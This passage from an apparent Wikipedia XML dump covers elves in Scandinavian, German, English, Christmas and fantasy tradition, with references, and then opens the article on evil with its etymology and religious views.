[[Image:Tomtebobarnen.jpg|thumb|230px|right|Little ''älvor'', playing with ''Tomtebobarnen''. From ''Children of the Forest'' (1910) by Swedish author and illustrator [[Elsa Beskow]].]]

In [[Scandinavian folklore]], which is a later blend of Norse mythology and elements of [[Christian mythology]], an ''elf'' is called ''elver'' in [[Danish language|Danish]], ''alv'' in [[Norwegian language|Norwegian]], and ''alv'' or ''älva'' in [[Swedish language|Swedish]] (the first is [[masculine]], the second [[feminine]]). &lt;!--The word is etymologically related to elv/älv (&quot;[[river]]&quot;). This information should belong in an etymology section together with *albh--&gt; The Norwegian expressions seldom appear in genuine folklore, and when they do, they are always used synonymous to ''huldrefolk'' or ''[[vetter]]'', a category of earth-dwelling beings generally held to be more related to Norse dwarves than elves which is comparable to the Icelandic ''huldufólk'' (hidden people).

In Denmark and Sweden, the elves appear as beings distinct from the vetter, even though the border between them is diffuse. The insect-winged [[fairies]] in the folklore of the [[British Isles]] are often called &quot;älvor&quot; in modern Swedish or &quot;alfer&quot; in danish, although the correct translation is &quot;feer.&quot; In a similar vein, the ''alf'' found in the fairy tale ''The Elf of the Rose'' by Danish author [[Hans Christian Andersen|H. C. Andersen]] is so tiny that he can have a rose blossom for home, and has &quot;wings that reached from his shoulders to his feet&quot;. Yet, Andersen also wrote about ''elvere'' in ''The Elfin Hill''. The elves in this story are more alike those of traditional Danish folklore, who were beautiful females, living in hills and boulders, capable of dancing a man to death. Like the ''[[huldra]]'' in Norway and Sweden, they are hollow when seen from the back. Small wingless elves of British folklore also appear distinct thus Santa's Elves at called &quot;[[tomte]]&quot; in Swedish or &quot;nisse&quot; in Norwegian.

The elves of Norse mythology have survived into folklore mainly as females, living in hills and mounds of stones{{mn|Hellström 1990:36|He-1}} (cf. [[Galadriel]]'s account of what would happen to the Elves who remained in [[Middle-Earth]]). The Swedish ''älvor''{{mn|Schön 1986|S-1}} (sing. ''älva'') were stunningly beautiful girls who lived in the forest with an elven king. They were long-lived and light-hearted in nature. The elves are typically pictured as fair-haired, white-clad and like most creatures in the Scandinavian folklore can be really nasty when offended. In the stories, they often play the role of disease-spirits. The most common, though also most harmless case was various irritating [[skin rash]]es, which were called ''älvablåst'' (elven blow) and could be cured by a forceful counter-blow (a handy pair of [[bellows]] was most useful for this purpose). ''Skålgropar'', a particular kind of [[petroglyph]] found in Scandinavia, were known in older times as ''älvkvarnar'' (elven mills), pointing to their believed usage. One could appease the elves by offering them a treat (preferably [[butter]]) placed into an elven mill – perhaps a custom with roots in the Old Norse ''álfablót''.

[[Image:Älvdans.jpg|295px|left|thumb|''Ängsälvor'', &quot;meadow elves&quot;, (1850), painting by [[Nils Blommér]].]]

The elves could be seen dancing over meadows, particularly at night and on misty mornings. They left a kind of circle were they had danced, which were called ''älvdanser'' (elf dances) or ''älvringar'' ([[elf circle]]s), and to urinate in one was thought to cause [[venereal diseases]]. Typically, it consisted of a ring of small [[mushroom]]s, but there was also another kind of elf circle:

:''On lake shores, where the forest met the lake, you could find elf circles. They were round places where the grass had been flattened like a floor. Elves had danced there. By [http://maps.google.com/maps?ll=59.007568,15.129204&amp;spn=0.074904,0.231245&amp;t=k&amp;hl=en Lake Tisaren], I have seen one of those. It could be dangerous and one could become ill if one had trodden over such a place or if one destroyed anything there.''{{mn|Hellström 1990:36|He-1}} 

If a human watched the dance of the elves, he would discover that even though only a few hours seemed to have passed, many years had passed in the real world. (This time phenomenon is retold in [[J. R. R. Tolkien|Tolkien's]] ''[[Lord of the Rings]]'' when the Fellowship of the Ring discovers that time seems to have run more slowly in elven [[Lórien|Lothlórien]]. It also has a remote parallel in the [[Ireland|Irish]] [[sídhe]].) In a song from the late [[Middle Ages]] about Olaf Liljekrans, the elven queen invites him to dance. He refuses, he knows what will happen if he joins the dance and he is on his way home to his own wedding. The queen offers him gifts, but he declines. She threatens to kill him if he does not join, but he rides off and dies of the disease she sent upon him, and his young bride dies of a broken heart.{{mn|Keightley 1870|K-1}}

However, the elves were not exclusively young and beautiful. In the Swedish folktale ''Little Rosa and Long Leda'', an elvish woman (''älvakvinna'') arrives in the end and saves the heroine, Little Rose, on condition that the king's cattle no longer graze on her hill. She is described as an old woman and by her aspect people saw that she belonged to the ''subterraneans''. {{mn|Svenska folksagor1984:158|SF}}

===German elves===

What remained of the belief in elves in [[German folklore]] was that they were mischievous pranksters that could cause disease to cattle and people, and bring bad dreams to sleepers. The German word for [[nightmare]], ''Alptraum'', means &quot;elf dream&quot;. The archaic form ''Albdruck'' means &quot;elf pressure&quot;; it was believed that nightmares are a result of an elf sitting on the dreamer's chest. This aspect of German elf-belief largely corresponds to the Scandinavian belief in the ''[[Mara (folklore)|mara]]''. It is also similar to the legends regarding [[Incubus (demon)|incubi]] and [[Succubus|succubi]].{{mn|Hall 2004|H-5}}

As noted above, an elven king occasionally appears among the predominantly female elves in [[Denmark]] and [[Sweden]]. In the German middle-age epic the ''[[Nibelungenlied]]'', a [[dwarf]] named ''[[Alberich]]'' play an important role. ''Alberich'' literally translates as &quot;elf-sovereign&quot;, further contributing to the elf–dwarf confusion observed already in the [[Younger Edda]]. Via the French ''Alberon'', the same name has entered English as ''[[Oberon]]'' – king of elves and [[fairies]] in Shakespeare's ''[[A Midsummer Night's Dream]]'' (see below).

The [[legend]] of [[Der Erlkönig]] appears to have originated in fairly recent times in [[Denmark]] and [[Goethe]] based his poem on &quot;Erlkönigs Tochter&quot; (&quot;Erlkönig's Daughter&quot;), a Danish work translated into German by [[Johann Gottfried Herder]]. 

The Erlkönig's nature has been the subject of some debate. The name translates literally from the German as &quot;[[Alder]] King&quot; rather than its common English translation, &quot;Elf King&quot; (which would be rendered as ''Elfenkönig'' in German). It has often been suggested that ''Erlkönig'' is a mistranslation from the original [[Danish language|Danish]] ''ellerkonge'' or ''elverkonge'', which ''does'' mean &quot;elf king&quot;. 

According to German and Danish folklore, the Erlkönig appears as an omen of death, much like the [[banshee]] in [[Irish mythology]]. Unlike the banshee, however, the Erlkönig will appear only to the person about to die. His form and expression also tell the person what sort of death they will have: a pained expression means a painful death, a peaceful expression means a peaceful death. This aspect of the legend was immortalised by [[Goethe]] in his poem ''[[Der Erlkönig]]'', later set to music by [[Schubert]].

In the [[Brothers Grimm]] fairy tale ''[[Der Schuhmacher und die Heinzelmännchen]]'',  a group of naked, one foot tall beings called ''[[Heinzelmännchen]]'' help a shoemaker in his work. When he rewards their work with little clothes, they are so delighted, that they run away and are never seen again. Even though ''Heinzelmännchen'' are akin to beings such as [[kobold]]s and [[dwarf|dwarves]], the tale has been translated to English as ''The Shoemaker &amp; the Elves'', (probably due to the similarity of the henzelmannchen to Scottish [[brownie (elf)|brownies]]) and is echoed in [[J. K. Rowling]]'s [[Harry Potter]] stories (see [[House-elf]]).

===English elves===
&lt;div style=&quot;float:right; width:312px; text-align:left;&quot;&gt;[[Image:Poor little birdie teased by Richard Doyle.jpg|312px|Poor little birdie teased by Richard Doyle]]

{|style=&quot;border: 1px solid #CCCCCC; background-color: #F9F9F9&quot;
|-
|&lt;p style=&quot;font-size: 8.5pt;&quot;&gt;''Poor little birdie teased'', by [[Victorian era]] illustrator [[Richard Doyle (illustrator)|Richard Doyle]] depicts the traditional view of an elf from later [[English folklore]] as a diminutive woodland humanoid.&lt;/p&gt;
|}&lt;/div&gt;

The word ''elf'' came into [[English language|English]] as the [[Old English language|Old English]] word ''ælf'' (pl. ''ælfe'', with regional and chronological variants such as ''ylfe'' and ''ælfen''), and so came to [[Great Britain|Britain]] originally with the [[Anglo-Saxons]].{{mn|Hall 2004|H-6}} Words for the [[nymphs]] of the [[Greek mythology|Greek]] and [[Roman mythology|Roman mythos]] were translated by Anglo-Saxon scholars with ''ælf'' and variants on it.{{mn|Hall 2004|H-7}}

Although our early English evidence is slight, there are reasons to think that Anglo-Saxon elves (''ælfe'') were similar to early elves in Norse mythology: human-like, human-sized supernatural beings, capable of helping or harming the people who encountered them. In particular, the pairing of ''[[æsir]]'' and ''[[álfar]]'' found in the ''[[Poetic Edda]]'' is mirrored in the Old English charm ''[[Wið færstice]]'' and in the distinctive occurrence of the cognate words ''os'' and ''ælf'' in Anglo-Saxon personal names (e.g. Oswald, Ælfric{{mn|Hall 2004|H-8}}).

In relation to the beauty of the Norse elves, some further evidence is given by old English words such as ''ælfsciene'' (&quot;elf-beautiful&quot;), used of seductively beautiful Biblical women in the Old English poems ''[[Judith (poem)|Judith]]'' and ''Genesis A''.{{mn|Hall 2004|H-9}} Although elves could be considered to be beautiful and potentially helpful beings in some sections of English-speaking society throughout its history, Anglo-Saxon evidence also attests to alignments of elves with demons, as for example in line 112 of ''[[Beowulf]]''. On the other hand, ''oaf'' is simply a variant of the word ''elf'', presumably originally referring to a [[Changeling_(legend)|changeling]] or to someone stupefied by elvish [[enchant]]ment.

Little documentation exists on English rustic beliefs and terminology before the [[19th century]], but it seems that the term ''elf'' was used, at least on some occasions or in some places, for various kinds of uncanny [[wight]]s, either human-sized or smaller. But other terms were also used.

''Elf-shot'' (or ''elf-bolt'' or ''elf-arrow'') is a word found in Scotland and Northern England, first attested in a manuscript of about the last quarter of the [[16th century]]. Although first attested in the sense 'sharp pain caused by elves', it is later attested denoting [[Neolithic]] [[flint]] [[arrow]]-heads, which by the [[17th century]] seem to have been attributed in Scotland to elvish folk, and which were used in healing rituals, and alleged to be used by witches (and perhaps elves) to injure people and cattle.{{mn|Hall 2005|H-10}} So too a tangle in the hair was called an ''elf-lock'', as being caused by the mischief of the elves, and sudden paralysis was sometimes attributed to ''elf-stroke''. Compare with the following excerpt from an [[1750]] ode by [[William Collins (poet)|Willam Collins]]:

:''There every herd, by sad experience, knows''
:''How, winged with fate, their elf-shot arrows fly,''
:''When the sick ewe her summer food forgoes,''
:''Or, stretched on earth, the heart-smit heifers lie.''{{mn|Collins 1750|C-1}}

The elf makes many appearances in [[ballads]] of English and Scottish origin, as well as folk tales, many involving trips to [[Elphame]] or Elfland (the ''Álfheim'' of Norse mythology), a mystical realm which is sometimes an eerie and unpleasant place. The elf is often portrayed in a positive light, such as the Queen of Elphame in the ballad ''[[Thomas the Rhymer]]'', but examples exist of the elf has a sinister character, as in the ''Tale of [[Childe Rowland]]'', or the ballad ''[[Lady Isabel of the Elf-Knight]]'', in which the Elf-Knight bears away Isabel to murder her. In none of these cases is the elf a [[Sprite (creature)|spritely]] character with [[pixie]]-like qualities.

English [[folktale]]s of the [[early modern period]] typically portray elves as small, elusive people with mischievous personalities. They are not evil but might annoy humans or interfere in their affairs. They are sometimes said to be invisible. In this tradition, elves became more or less synonymous with the [[fairy|fairies]] that originated from [[Celtic mythology|native British mythology]], for example, the [[Wales|Welsh]] ''Ellyll'' (plural ''Ellyllon'') and ''Y Dynon Bach Têg''.

[[Image:Rackham elves.jpg|300px|thumb|left|''&quot;To make my small elves coats; and some keep back.&quot;'' One of [[Arthur Rackham]]'s illustrations to [[William Shakespeare]]'s ''[[A Midsummer Night's Dream]]''. [http://classics.freehomepage.com/midsummer/midsummer.html] ]]

Successively, the word ''elf'', as well as literary term ''fairy'', evolved to a general denotation of various nature spirits like ''[[Puck (mythology)|pwcca]]'', ''[[Hobgoblin (fairy)|hobgoblin]]'', ''[[Robin Goodfellow]]'', the Scots ''[[brownie (elf)|brownie]]'', and so forth. These terms, like their relatives in other [[European languages]], are no longer clearly distinguished in popular [[folklore]].

Significant for the distancing of the concept of elves from its mythological origins was the influence from literature. In [[Elizabethan England]], [[William Shakespeare]] imagined elves as little people. He apparently considered elves and fairies to be the same race. In ''[[Henry IV, part 1]]'', act II, scene iv, he has [[Falstaff]] call [[Henry V of England|Prince Henry]], &quot;you starveling, you elfskin!&quot;, and in his ''[[A Midsummer Night's Dream]]'', his elves are almost as small as [[insect]]s. On the other hand, [[Edmund Spenser]] applies ''elf'' to full-sized beings in ''[[The Faerie Queene]]''.

The influence of Shakespeare and [[Michael Drayton]] made the use of ''elf'' and ''[[fairy]]'' for very small beings the norm. In [[Victorian era|Victorian]] literature, elves usually appeared in illustrations as tiny men and women with pointed ears and stocking caps. An example is [[Andrew Lang]]'s fairy tale ''Princess Nobody'' ([[1884]]), illustrated by [[Richard Doyle]], where fairies are tiny people with [[butterfly]] wings, whereas elves are tiny people with red stocking caps. There were exceptions to this rule however, such as the full-sized elves who appear in [[Edward Plunkett, 18th Baron Dunsany|Lord Dunsany]]'s ''The King of Elfland's Daughter''.

==Modern elves==

===Elves at Christmas===

[[Image:Tony Cox as elf.jpg|framed|150px|right|[[Tony Cox]] as ''Marcus'' in the movie ''[[Bad Santa]]'', who is working as an elf assisting Santa Claus at a supermarket.]]

In [[United States|USA]], [[Canada]], and the [[United Kingdom]], the modern children's [[folklore]] of [[Santa Claus]] typically includes [[diminutive]], green-clad elves as Santa's assistants. They wrap [[Christmas]] gifts and make [[toy]]s in a workshop located in the [[Arctic]]. In this portrayal, elves slightly resemble nimble and delicate versions of the [[Norse dwarves|dwarves]] of Norse mythology.

The vision of the small but crafty Christmas elf has come to influence modern popular conception of elves, and sits side by side with the fantasy elves following Tolkien's work (see below). The American cookie company [[Keebler]] has long advertised that its cookies are made by elves in a hollow tree, and [[Kellogg's]], who happens to now be the owner of Keebler, uses the elves of Snap, Crackle, and Pop as mascots of [[Rice Krispies]] cereal, and the role of elves as Santa's helpers has continued to be popular, as evidenced by the success of the movie [[Elf (film)|''Elf'']].

===Elves in modern fantasy===
{{main|Elves in fantasy fiction and games}}

[[Image:elrond11.jpg|thumb|left|150px|[[Hugo Weaving]] portrays [[Elrond]] the [[half-elf]], lord of [[Rivendell]], in one film interpretation of ''[[The Lord of the Rings film trilogy|The Lord of the Rings]]''.]]

Modern [[fantasy]] literature has revived the elves as a race of semi-divine beings of human stature. Fantasy elves are different from Norse elves, but are more akin to that older mythology than to folktale elves – they are unlikely to sneak in at night and help a cobbler mend his shoes. The grim Norse-style elves of human size introduced [[Poul Anderson]]'s fantasy novel ''[[The Broken Sword]]'' from [[1954]] are one of the first precursors to modern fantasy elves, although they are overshadowed by the Elves of the [[twentieth century|twentieth-century]] [[philology|philologist]] and [[fantasy]] writer [[J. R. R. Tolkien]]. Tolkien had little use for Shakespearean fairy portrayals or for Victorian diminutive fairy prettiness and whimsy, aligning his elves with the god-like and human-sized ''[[Light Elf|ljósálfar]]'' of [[Norse mythology]]. His Elves were conceived a race of beings similar to humans but fairer and wiser, with greater spiritual powers, keener senses, and a closer empathy with nature. They are great smiths and fierce warriors on the side of [[Goodness and value theory|good]]. Tolkien's [[Elves (Middle-earth)|Elves of Middle-earth]] may in one view be seen as a representation of what human beings might have become, had they not committed the [[original sin]], and they are very much human, though [[Fall of Man|Unfallen]] and [[Immortality|immortal]] in that they do not wither with age or fall foul of disease. 
They can however be killed in the same manner as any man and also may pass from grief.

Tolkien's ''[[The Lord of the Rings]]'' ([[1954]]-[[1958]]) became astoundingly popular and was much imitated. In the [[1960s]] and afterwards, elves similar to those in Tolkien's novels became staple non-human characters in [[high fantasy]] works and in fantasy [[role-playing game]]s. Tolkien's Elves were enemies of [[goblin]]s ([[Orc (Middle-earth)|orcs]]) and had a longstanding quarrel with the [[Dwarves (Middle-earth)|Dwarves]]; these motifs often reappear in Tolkien-inspired works. Tolkien is also responsible for reviving the older and less-used terms ''elven'' and ''elvish'' rather than [[Edmund Spenser]]'s invented ''elfin'' and ''elfish''. He probably preferred the word ''elf'' over ''fairy'' because ''elf'' is of [[Old English language|Anglo-Saxon]] origin while ''fairy'' entered English from [[French language|French]].

Post-Tolkien fantasy elves (popularized by the ''[[Dungeons &amp; Dragons]]'' [[role-playing game]]) tend to be beautiful, fair, slender, human-sized or only slightly smaller (and sometimes even taller) than humans, and possess unearthly speed and agility. A hallmark of fantasy elves is also their long and pointed [[ear]]s. The length and shape of these ears varies depending on the artist or medium in question.  For example, while most elves in Western fantasy have ears only slightly longer than humans', elves depicted in [[anime]] tend to have very long ears that stand out at dramatic angles from their faces. [[Half-elf|Half-elves]] and divergent races of elves, such as [[high elf|high elves]] and [[dark elf|dark elves]], were also popularized at this time; in particular, the evil [[drow]] of ''Dungeons &amp; Dragons'' have inspired the dark elves of many other works of fantasy.

Fair elves of the Tolkien mold have become standardized staple characters of modern fantasy to such an extent that breaking the norms for how an elf is supposed to be and behave has become an end in itself for certain works of fantasy. For examples of the various ways modern fantasy writers have achieved this, see the [[Elves in fantasy fiction and games|main article]]

===Elves in psychedelic experience===
{{main|Machine Elves}}

[[Machine_Elves|Machine elves]], a term first introduced by writer and psychedelic researcher [[Terrence McKenna]], is used to describe the presumed other-worldly intelligent beings which subjects sometimes feel they encounter during [[psychedelic]] experiences (especially those induced by naturally-occurring [[tryptamines]], such as [[dimethyltryptamine|DMT]] or [[psilocybin]]), as well as during [[shamanic]] and [[alien abduction]] experiences.

==Notes==
*{{mnb2|Hall 2004|H-1}} see further Hall 2004, pp. 56-57.
*{{mnb2|Hall 2004|H-2}} ''ibid.'', pp. 31-35
*{{mnb2|Hall 2004|H-3}} ''ibid.'', pp. 37-46
*{{mnb2|Hall 2004|H-4}} ''ibid.'', p. 40
*{{mnb2|Hall 2004|H-5}} see further ''ibid.'', pp 125-26
*{{mnb2|Hall 2004|H-6}} ''ibid''., esp. pp. 212-16
*{{mnb2|Hall 2004|H-7}} ''ibid''., pp. 81-92
*{{mnb2|Hall 2004|H-8}} ''ibid''., esp. pp. 56-66
*{{mnb2|Hall 2004|H-9}} ''ibid''., pp. 71-76, ''et passim''
*{{mnb2|Hall 2004|H-10}} Hall 2005.
*{{mnb2|Younger Edda|YE-1}} Younger Edda, chapter 7, Anderson's 1897 translation.
*{{mnb2|Þorsteins saga Víkingssonar|Th-1}} Þorsteins saga Víkingssonar, chapter 1.
*{{mnb2|Kormáks saga|Ko-1}} Kormáks saga, chapter 22.
*{{mnb2|Schön 1986|S-1}} For the Swedish belief in ''älvor'' see mainly Schön 1986, chapter ''De fagra flickorna på ängen''. A more summary description in English is provided by Keightley 1870, esp. chapter [http://www.sacred-texts.com/neu/celt/tfm/tfm017.htm ''Scandinavia: Elves''].
*{{mnb2|Hellström 1990|He-1}} An account given in [[1926]], Hellström 1990:36.
*{{mnb2|Keightley 1870|K-1}} Keightley 1870 provides two translated versions of the song: ''[http://www.sacred-texts.com/neu/celt/tfm/tfm018.htm Sir Olof in Elve-Dance]'' and [http://www.sacred-texts.com/neu/celt/tfm/tfm019.htm The Elf-Woman and Sir Olof].
*{{mnb2|Collins 1775|C-1}} Collins 1775.
*{{mnb2|Svenska folksagor1984:158|SF}} Lilla Rosa och Långa Leda, in ''Svenska folksagor'', 1984:158.

==References==
* [[H. C. Andersen|Anderson, H. C.]]. 1842. [http://hca.gilead.org.il/elf_rose.html ''The Elf of the Rose''] (Danish original: [http://www.kb.dk/elib/lit/dan/andersen/eventyr.dsl/hcaev017.htm ''Rosen-Alfen'']).
* Anderson, H. C. 1845. [http://hca.gilead.org.il/elfin_hi.html ''The Elfin Hill''] (Danish original: [http://www.kb.dk/elib/lit/dan/andersen/eventyr.dsl/hcaev028.htm ''Elverhøi'']).
*[[William Collins (poet)|Collins, Willam]]. 1775. ''[http://poetry.poetryx.com/poems/1850/ An Ode On The Popular Superstitions Of The Highlands Of Scotland, Considered As The Subject Of Poetry]''.
*Hall, Alaric. 2005. 'Getting Shot of Elves: Healing, Witchcraft and Fairies in the Scottish Witchcraft Trials', [http://taylorandfrancis.metapress.com/app/home/journal.asp?wasp=e3d05mvqtg0qujqugt33&amp;referrer=parent&amp;backto=linkingpublicationresults,1:104708,1 ''Folklore''], 116 (2005), 19-36.
*Hall, Alaric Timothy Peter. 2004. [http://69.72.226.186/~alaric/phd.htm The Meanings of ''Elf'' and Elves in Medieval England] (Ph.D. University of Glasgow).
*Hellström. 1990. ''En Krönika om Åsbro''. ISBN 91-7194-726-4
*[[Thomas Keightley|Keightley, Thomas]]. 1870. [http://www.sacred-texts.com/neu/celt/tfm/ ''The Fairy Mythology]''.
*''[http://www.worldwideschool.org/library/books/lit/epics/LifeandDeathofCormactheSkald/Chap1.html The Life and Death of Cormac the Skald]'' (Old Norse original: ''[http://www.snerpa.is/net/isl/kormaks.htm Kormáks saga]'').
*[[Andrew Lang|Lang, Andrew]]. 1884. ''[http://arthurwendover.com/arthurs/fairy/pnobdy10.html The Princess Nobody]''.
*Schön, Ebbe. 1986. ''Älvor, vättar och andra väsen''. ISBN 91-29-57688-1
*[[Snorri Sturluson|Sturluson, Snorri]]. ''The Younger (or Prose) Edda'', [http://www.northvegr.org/lore/prose2/index.php Rasmus B. Anderson translation (1897)].
*''[http://www.northvegr.org/lore/viking/001_02.php The Saga of Thorstein, Viking's Son]'' (Old Norse original: ''[http://www.snerpa.is/net/forn/thorstei.htm Þorsteins saga Víkingssonar]'').
*''Lilla Rosa och Långa Leda'' in ''Svenska folksagor'' (1984), Almquist &amp; Wiksell Förlag AB, Stockholm.

Fairy tales with elves in them include: 
*''[http://www.sacred-texts.com/neu/celt/tfm/tfm121.htm Addlers &amp; Menters]''
*''[http://www.sacred-texts.com/neu/celt/tfm/tfm124.htm Ainsel &amp; Puck]''
*''[http://www.authorama.com/english-fairy-tales-24.html Childe Rowland]'' ([http://www.twocrows.co.uk/childe_roland.html also here])
*''[http://www.rickwalton.com/folktale/brown16.htm The Elf Maiden]'' ([http://www.fairy-tales.org.uk/brown/lang-the-brown-fairy-book-the-elf-maiden.htm also here])
*''[http://www.viking.ucla.edu/hrolf/ch11.html Elfin Woman &amp; Birth of Skuld]''
*''[http://www.sacred-texts.com/neu/celt/tfm/tfm022.htm Elle-Maids]''
*''[http://www.sacred-texts.com/neu/celt/tfm/tfm024.htm Elle-Maid near Ebeltoft]''
*''[http://www.sacred-texts.com/neu/celt/tfm/tfm025.htm Hans Puntleder]''
*''[http://www.sacred-texts.com/neu/eng/efft/efft48.htm Hedley Kow]''
*''[http://www.sacred-texts.com/neu/celt/tfm/tfm112.htm Luck of Eden Hall]''
*''[http://www.authorama.com/grimms-fairy-tales-39.html The Shoemaker &amp; the Elves]'' ([http://www.pitt.edu/~dash/grimm039.html also here])
*''[http://www.sacred-texts.com/neu/celt/tfm/tfm021.htm Svend Faelling and the Elle-Maid]''
*''[http://www.sacred-texts.com/neu/eng/efft/efft08.htm Wild Edric]''
*''[http://www.sacred-texts.com/neu/celt/tfm/tfm084.htm The Wild-women]''
*''[http://www.sacred-texts.com/neu/celt/tfm/tfm020.htm The Young Swain and the Elves]''

==See also==
{{commons|Category:Elf}}
{{wiktionary}}

'''Concerning traditional elves:'''
* [[Álfar]]
* [[Álfheim]]
* [[Elf versus dwarf]]
* [[Erlking]]
* [[Ljósálfar]]
* [[Svartálfar]]

'''Related folklore creatures:'''
* [[Dwarf]]
* [[Fairy]]
* [[Gnome]]
* [[Huldra]]
* [[Imp]]
* [[Lady of the Lake]]
* [[Norse dwarves]]
* [[Puck (mythology)|Puck]]
* [[Psotnik]]
* [[Sídhe]]
* [[Slavic fairies]]
* [[Sprite (creature)|Sprites]]
* [[Tomte]]
* [[Troll]]
* [[Wight]]
* [[Yule lads]]

'''Miscellaneous:'''
* [[Fairytale]]
* [[Mythology]]
* [[Elenari]]

{{NorseMythology}}

[[Category:Elves| ]]
[[Category:Christmas characters]]

[[bg:Елфи]]
[[ca:Elf]]
[[cs:Elf]]
[[da:Elverfolk]]
[[de:Elfen]]
[[es:Elfo]]
[[fr:Elfe]]
[[is:Álfur]]
[[it:Elfo]]
[[he:אלף (פנטסיה)]]
[[lt:Elfas]]
[[nl:Elf (mythologie)]]
[[ja:エルフ]]
[[ko:엘프]]
[[pl:Elf (fantastyka)]]
[[pt:Elfo]]
[[ru:Эльф]]
[[sk:Elf]]
[[sv:Alver]]
[[uk:Альви]]
[[zh:精靈]]</text>
    </revision>
  </page>
  <page>
    <title>Evil</title>
    <id>9897</id>
    <revision>
      <id>42075069</id>
      <timestamp>2006-03-03T17:28:19Z</timestamp>
      <contributor>
        <username>Zsinj</username>
        <id>597658</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/166.109.110.20|166.109.110.20]] to last version by TigerShark</comment>
      <text xml:space="preserve">:''For other uses of &quot;evil&quot;, see [[Evil (disambiguation)]].''

'''Evil''' is a term describing that which is regarded as [[morality|morally]] [[bad]], intrinsically [[political corruption|corrupt]], wantonly [[wikt:destructive|destructive]], [[wikt:inhumane|inhumane]], or [[wickedness|wicked]]. In most cultures, the word is used to describe acts, thoughts, and ideas which are thought to (either directly or causally) bring about withering and [[death]] &amp;mdash; the opposite of [[life]]. However, the definition of what counts as evil differs widely from culture to culture and from individual to individual. Some philosophers reject the idea of evil. [[Plato]], for example, argued that what we call evil is merely ignorance, and that the good is that which everyone desires.

For those who accept the existence of evil, there are two main beliefs about evil. In some belief systems, evil consists of deviation from the norm. According to this definition of evil, people who, for example, reject the majority religion or engage in sexual practices different from the majority are evil. According to other belief systems, evil consists of doing harm, and so-called &quot;victimless crimes&quot; should not be considered evil.

The [[duality]] of '[[Goodness and value theory|good]] versus evil' is expressed, in some form or another, by many cultures. This concept describes a [[hierarchy]] of [[moral]] standards applied to human behaviour. In more casual or derogatory use, the word &quot;evil&quot; can characterize people and behaviours that are hurtful, ruinous, or disastrous. Those who believe in the duality theory of evil believe that evil cannot exist without good, nor good without evil, as they are both objective states and opposite ends of the same scale.

A similar term, [[malice]], (from the [[Latin]] ''malus'' meaning &quot;bad&quot;) describes the deliberate human intent to harm and be harmful. &quot;Evil&quot;, by contrast, tends to represent a more elemental concept; a disembodied [[spirit]] that is natural and yet abominable. Whereas &quot;malice&quot; is specifically concerned with the act itself, &quot;evil&quot; is the cause of a malicious act. True evil is sometimes motivated by malicious [[greed]] and/or [[sadism]]. {{wikiquote}}

== Etymology ==
The [[modern English]] word 'Evil' ([[Old English]] ''Yfel'') and its current living cognates such as the German 'Übel' are widely considered to come from a [[Proto-Germanic]] reconstructed form ''*Ubilaz'', comparable to the [[Hittite]] ''huwapp-'' ultimately from the [[Proto-Indo-European language|Proto-Indo-European]] form ''*wap-'' and suffixed zero-grade form ''*up-elo-''. Other later Germanic forms include [[Middle English]] ''evel'', ''ifel'', ''ufel'' [[Old Frisian]] ''evel'' (adjective &amp; noun), [[Old Saxon]] ''ubil'', [[Old High German]] ''ubil'', and [[Gothic_language|Gothic]] ''ubils''. The root meaning is of obscure origin though shown to be akin to modern English 'over' (OE ''ofer'') and 'up' (OE ''up'', ''upp'') with the basic idea of &quot;transgressing&quot;.

== Evil as a religious concept ==
Most ancient polytheist cultures lacked a concept of evil as a human quality or as a quality of human actions, or if they had such a concept, they did not place as much importance on it as have their monotheist successors. In the world of the [[Odyssey]] and [[Iliad]] epic poems, for example, there are acknowledged human virtues such as honor, faithfulness, and vengeance (which became a sin in Christian thought) but no direct corollary to the modern concept of evil. Likewise, Homeric characters are subject to judgement by the gods, but that judgement is often questionable as the gods themselves have imperfect, human-like characters.

In a number of religious traditions, human beings are considered to be &quot;governed&quot; by an innate bent towards selfishness and pride, actions that are considered evil. In others, humans may be considered naturally good, and evil to be a 'force' that tempts them away from their natural state. Evil may be personified in the form of a figure of evil, such as [[Satan]].

==Zoroastrianism==
In the originally [[Persians|Persian]] religion of [[Zoroastrianism]], the world is a battle ground between the god of good, [[Ahura Mazda]], and the god of evil, [[Ahriman]]. This dualistic belief system had a heavy influence on the [[Abrahamic religions]].

==Judaeo-Christian religions==
In the Hebrew Scriptures, evil is related to the concept of [[sin]] &amp;mdash; &quot;sin&quot; translated in Hebrew is ''chata'' which means &quot;missing the mark&quot; (a term from archery). Evil is defined in Thomistic metaphysics as the absence of a &quot;good&quot; which could and should be present; it is a lack of something that should be present. The evil of gluttony, for example, is marked by the results of obesity. The goodness that is missing in the glutton is [[self]] [[discipline]] and temperance. The results of evil are usually experienced as evil over the long term but may be experienced as short term &quot;goods&quot;. The cultivation of the good requires the long view.

In [[Judaism]] and [[Christianity]], evil refers to those aspects of human behaviour that are contrary to the [[Ten Commandments]]. Evil is thus directly correlated to disobedience: the Commandments are a guideline for &quot;what not to do&quot;. In the forms of malice and selfishness, evil represents the socially weakening and destructive behaviors that lead directly to a ''fruitless life'' and [[death]]. On a more abstract level, &quot;Evil&quot; refers to the lack of faith in [[God]], the end result of which is separation from Him.

In many [[Abrahamic]] faiths, evil is personified as [[Satan]], a challenger of the law or will of God. Satan is defined in Hebrew, Aramaic, and Greek writings collectively as the devil, the adversary, false accuser, slanderer, the counterfeit, a liar, a murderer, one with no truth, the serpent, the evil one, the tempter, and a lion prowling around looking for someone to devour. These faiths also teach that [[spiritual being|spirit]]s or [[demon]]s may [[possession|possess]] humans or animals and tempt them to do evil.

Some forms of Christianity do not personify evil in [[Satan]], but instead consider the human heart to be inherently bent toward deceit, although human beings are responsible for their choices.

Note that &quot;self&quot; does not necessarily have to mean &quot;one's self,&quot; but also to the various units, groups, and demographics to which one belongs (for example: family, school, team, generation, nationality, race, or religion). The Israelites asked for national repentance of sin while the Christians focus on individual sins. Jewish beliefs and Christian teachings say each person will give an account of all their actions, including faith and obedience.

Some cultures or philosophies believe that evil can arise without meaning or reason (in [[neo-Platonic]] philosophy this is called ''surd evil''). Christianity in general does not adhere to this belief, but the prophet [[Isaiah]] implied that God is ultimately responsible for everything including evil ''(Isa.45:7 &quot;I form the light, and create darkness: I make peace, and create evil: I the LORD do all these things.&quot;)''

In the [[Bible]], the story of [[Job]] is a bold example of how evil exists and seems at times to be victorious, although Christianity teaches that all have sinned and fall short of the perfection of God and the wages of that missing the mark of that perfection (sin) is death. Christians believe that the crucifixion of Jesus defeated sin and merited the resurrection-victory over death for himself and all in communion with him.

